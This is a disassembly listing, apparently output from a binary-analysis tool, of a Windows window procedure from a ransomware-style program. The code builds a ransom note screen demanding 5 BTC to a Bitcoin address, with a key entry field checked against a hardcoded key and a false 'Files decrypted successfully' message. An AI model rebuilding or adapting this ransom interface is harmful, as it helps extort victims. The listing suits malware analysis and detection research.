Function at 0x140001775
Capabilities:
Get graphical window text

Disassembly:
push rbp
push rdi
push rsi
push rbx
sub rsp, 0x318
lea rbp, [rsp + 0x80]
mov qword [rbp + 0x2c0], rcx
mov dword [rbp + 0x2c8], edx
mov qword [rbp + 0x2d0], r8
mov qword [rbp + 0x2d8], r9
cmp dword [rbp + 0x2c8], 0x111
je 0x140001c3c
cmp dword [rbp + 0x2c8], 0x111
ja 0x140001e66
cmp dword [rbp + 0x2c8], 0xf
je 0x140001cf2
cmp dword [rbp + 0x2c8], 0xf
ja 0x140001e66
cmp dword [rbp + 0x2c8], 1
je 0x1400017f8
cmp dword [rbp + 0x2c8], 2
je 0x140001e37
jmp 0x140001e66
lea rax, [rbp + 0x220]
mov r9d, 0
mov r8d, 0
mov edx, 0
mov rcx, rax
call method.Gdiplus::GdiplusStartupInput.GdiplusStartupInput_void__int__int_
lea rdx, [rbp + 0x220]
lea rax, [rbp + 0x218]
mov r8d, 0
mov rcx, rax
call sym.GdiplusStartup
mov edx, 0
lea rax, str.C:Tempimage.jpg
mov rcx, rax
call method.Gdiplus::Bitmap.FromFile_wchar_t_const__int_
mov qword [rbp + 0x270], rax
cmp qword [rbp + 0x270], 0
je 0x1400018a8
mov rbx, qword [rbp + 0x270]
lea rax, [rbp + 0x23c]
mov edx, 0xff000000
mov rcx, rax
call method.Gdiplus::Color.Color_unsigned_long_
lea rax, [rbp + 0x23c]
lea r8, [0x1400ff0a0]
mov rdx, rax
mov rcx, rbx
call method.Gdiplus::Bitmap.GetHBITMAP_Gdiplus::Color_const__HBITMAP____const
mov rax, qword [rbp + 0x270]
test rax, rax
je 0x1400018a8
mov rdx, qword [rax]
add rdx, 8
mov rdx, qword [rdx]
mov rcx, rax
call rdx
mov rax, qword [rbp + 0x218]
mov rcx, rax
call sym.GdiplusShutdown
lea rax, str.Arial
mov qword [rsp + 0x68], rax
mov dword [rsp + 0x60], 0x20
mov dword [rsp + 0x58], 0
mov dword [rsp + 0x50], 0
mov dword [rsp + 0x48], 0
mov dword [rsp + 0x40], 0
mov dword [rsp + 0x38], 0
mov dword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0
mov dword [rsp + 0x20], 0x2bc
mov r9d, 0
mov r8d, 0
mov edx, 0
mov ecx, 0x24
mov rax, qword [sym.imp.GDI32.dll_CreateFontW]
call rax
mov qword [rbp + 0x268], rax
mov qword [rsp + 0x58], 0
mov qword [rsp + 0x50], 0
mov qword [rsp + 0x48], 0
mov rax, qword [rbp + 0x2c0]
mov qword [rsp + 0x40], rax
mov dword [rsp + 0x38], 0x32
mov dword [rsp + 0x30], 0x320
mov dword [rsp + 0x28], 0x32
mov dword [rsp + 0x20], 0x64
mov r9d, 0x50000001
lea r8, str.Ransom_Note
lea rax, str.STATIC
mov rdx, rax
mov ecx, 0
mov rax, qword [sym.imp.USER32.dll_CreateWindowExW]
call rax
mov qword [rbp + 0x260], rax
mov rdx, qword [rbp + 0x268]
mov rax, qword [rbp + 0x260]
mov r9d, 1
mov r8, rdx
mov edx, 0x30
mov rcx, rax
mov rax, qword [sym.imp.USER32.dll_SendMessageW]
call rax
mov qword [rsp + 0x58], 0
mov qword [rsp + 0x50], 0
mov qword [rsp + 0x48], 0
mov rax, qword [rbp + 0x2c0]
mov qword [rsp + 0x40], rax
mov dword [rsp + 0x38], 0x64
mov dword [rsp + 0x30], 0x320
mov dword [rsp + 0x28], 0x96
mov dword [rsp + 0x20], 0x64
mov r9d, 0x50000001
lea r8, str.Pay_5_BTC__nBitcoin_Address:_1FmHbHfnpzJkFvyiJokTjJjN455paPH
lea rax, str.STATIC
mov rdx, rax
mov ecx, 0
mov rax, qword [sym.imp.USER32.dll_CreateWindowExW]
call rax
mov qword [rbp + 0x258], rax
mov rdx, qword [rbp + 0x268]
mov rax, qword [rbp + 0x258]
mov r9d, 1
mov r8, rdx
mov edx, 0x30
mov rcx, rax
mov rax, qword [sym.imp.USER32.dll_SendMessageW]
call rax
mov qword [rsp + 0x58], 0
mov qword [rsp + 0x50], 0
mov qword [rsp + 0x48], 0
mov rax, qword [rbp + 0x2c0]
mov qword [rsp + 0x40], rax
mov dword [rsp + 0x38], 0x46
mov dword [rsp + 0x30], 0x12c
mov dword [rsp + 0x28], 0x12c
mov dword [rsp + 0x20], 0x64
mov r9d, 0x50000000
lea r8, str.Enter_Decryption_Key:
lea rax, str.STATIC
mov rdx, rax
mov ecx, 0
mov rax, qword [sym.imp.USER32.dll_CreateWindowExW]
call rax
mov qword [rbp + 0x250], rax
mov rdx, qword [rbp + 0x268]
mov rax, qword [rbp + 0x250]
mov r9d, 1
mov r8, rdx
mov edx, 0x30
mov rcx, rax
mov rax, qword [sym.imp.USER32.dll_SendMessageW]
call rax
mov qword [rsp + 0x58], 0
mov qword [rsp + 0x50], 0
mov qword [rsp + 0x48], 1
mov rax, qword [rbp + 0x2c0]
mov qword [rsp + 0x40], rax
mov dword [rsp + 0x38], 0x46
mov dword [rsp + 0x30], 0x190
mov dword [rsp + 0x28], 0x12c
mov dword [rsp + 0x20], 0x190
mov r9d, 0x50800000
mov r8d, 0
lea rax, str.EDIT
mov rdx, rax
mov ecx, 0
mov rax, qword [sym.imp.USER32.dll_CreateWindowExW]
call rax
mov qword [rbp + 0x248], rax
mov rdx, qword [rbp + 0x268]
mov rax, qword [rbp + 0x248]
mov r9d, 1
mov r8, rdx
mov edx, 0x30
mov rcx, rax
mov rax, qword [sym.imp.USER32.dll_SendMessageW]
call rax
mov qword [rsp + 0x58], 0
mov qword [rsp + 0x50], 0
mov qword [rsp + 0x48], 2
mov rax, qword [rbp + 0x2c0]
mov qword [rsp + 0x40], rax
mov dword [rsp + 0x38], 0x32
mov dword [rsp + 0x30], 0x96
mov dword [rsp + 0x28], 0x190
mov dword [rsp + 0x20], 0x190
mov r9d, 0x50000000
lea r8, str.Decrypt
lea rax, str.BUTTON
mov rdx, rax
mov ecx, 0
mov rax, qword [sym.imp.USER32.dll_CreateWindowExW]
call rax
mov qword [rbp + 0x240], rax
mov rdx, qword [rbp + 0x268]
mov rax, qword [rbp + 0x240]
mov r9d, 1
mov r8, rdx
mov edx, 0x30
mov rcx, rax
mov rax, qword [sym.imp.USER32.dll_SendMessageW]
call rax
jmp 0x140001e96
mov rax, qword [rbp + 0x2d0]
cmp ax, 2
jne 0x140001e95
mov rax, qword [rbp + 0x2c0]
mov edx, 1
mov rcx, rax
mov rax, qword [sym.imp.USER32.dll_GetDlgItem]
call rax
mov rcx, rax
lea rax, [rbp + 0x10]
mov r8d, 0x100
mov rdx, rax
mov rax, qword [sym.imp.USER32.dll_GetWindowTextW]
call rax
lea rax, [rbp + 0x10]
lea rdx, str.thisisaverysecretkey123456789012
mov rcx, rax
call sym.wcscmp
test eax, eax
sete al
test al, al
je 0x140001cc6
mov rax, qword [rbp + 0x2c0]
mov r9d, 0x40
lea r8, str.Success
lea rdx, str.Files_decrypted_successfully_
mov rcx, rax
mov rax, qword [sym.imp.USER32.dll_MessageBoxW]
call rax
jmp 0x140001e95
mov rax, qword [rbp + 0x2c0]
mov r9d, 0x10
lea r8, str.Error
lea rdx, str.Incorrect_decryption_key.
mov rcx, rax
mov rax, qword [sym.imp.USER32.dll_MessageBoxW]
call rax
jmp 0x140001e95
lea rdx, [rbp + 0x10]
mov rax, qword [rbp + 0x2c0]
mov rcx, rax
mov rax, qword [sym.imp.USER32.dll_BeginPaint]
call rax
mov qword [rbp + 0x288], rax
mov rax, qword [0x1400ff0a0]
test rax, rax
je 0x140001e1e
mov rax, qword [rbp + 0x288]
mov rcx, rax
mov rax, qword [sym.imp.GDI32.dll_CreateCompatibleDC]
call rax
mov qword [rbp + 0x280], rax
mov rdx, qword [0x1400ff0a0]
mov rax, qword [rbp + 0x280]
mov rcx, rax
mov rax, qword [sym.imp.GDI32.dll_SelectObject]
call rax
mov qword [rbp + 0x278], rax
mov rax, qword [0x1400ff0a0]
lea rdx, [rbp - 0x10]
mov r8, rdx
mov edx, 0x20
mov rcx, rax
mov rax, qword [sym.imp.GDI32.dll_GetObjectW]
call rax
mov edi, dword [rbp - 8]
mov esi, dword [rbp - 0xc]
mov ecx, 1
mov rax, qword [sym.imp.USER32.dll_GetSystemMetrics]
call rax
mov ebx, eax
mov ecx, 0
mov rax, qword [sym.imp.USER32.dll_GetSystemMetrics]
call rax
mov ecx, eax
mov rax, qword [rbp + 0x288]
mov dword [rsp + 0x50], 0xcc0020
mov dword [rsp + 0x48], edi
mov dword [rsp + 0x40], esi
mov dword [rsp + 0x38], 0
mov dword [rsp + 0x30], 0
mov rdx, qword [rbp + 0x280]
mov qword [rsp + 0x28], rdx
mov dword [rsp + 0x20], ebx
mov r9d, ecx
mov r8d, 0
mov edx, 0
mov rcx, rax
mov rax, qword [sym.imp.GDI32.dll_StretchBlt]
call rax
mov rdx, qword [rbp + 0x278]
mov rax, qword [rbp + 0x280]
mov rcx, rax
mov rax, qword [sym.imp.GDI32.dll_SelectObject]
call rax
mov rax, qword [rbp + 0x280]
mov rcx, rax
mov rax, qword [sym.imp.GDI32.dll_DeleteDC]
call rax
lea rdx, [rbp + 0x10]
mov rax, qword [rbp + 0x2c0]
mov rcx, rax
mov rax, qword [sym.imp.USER32.dll_EndPaint]
call rax
jmp 0x140001e96
mov rax, qword [0x1400ff0a0]
test rax, rax
je 0x140001e56
mov rax, qword [0x1400ff0a0]
mov rcx, rax
mov rax, qword [sym.imp.GDI32.dll_DeleteObject]
call rax
mov ecx, 0
mov rax, qword [sym.imp.USER32.dll_PostQuitMessage]
call rax
jmp 0x140001e96
mov r8, qword [rbp + 0x2d8]
mov rcx, qword [rbp + 0x2d0]
mov edx, dword [rbp + 0x2c8]
mov rax, qword [rbp + 0x2c0]
mov r9, r8
mov r8, rcx
mov rcx, rax
mov rax, qword [sym.imp.USER32.dll_DefWindowProcW]
call rax
jmp 0x140001e9b
nop
mov eax, 0
add rsp, 0x318
pop rbx
pop rsi
pop rdi
pop rbp
ret